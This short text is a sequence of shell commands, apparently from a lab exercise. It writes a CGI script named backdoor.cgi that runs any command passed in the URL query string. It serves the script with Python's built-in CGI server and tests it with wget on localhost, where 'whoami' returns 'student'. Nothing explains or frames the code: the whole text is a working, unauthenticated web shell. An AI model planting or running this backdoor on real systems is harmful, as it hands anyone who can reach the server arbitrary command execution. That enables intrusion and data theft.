cd /tmp mkdir cgi-bin echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi chmod +x ./cgi-bin/backdoor.cgi python -m http.server --cgi
wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi?whoami" student
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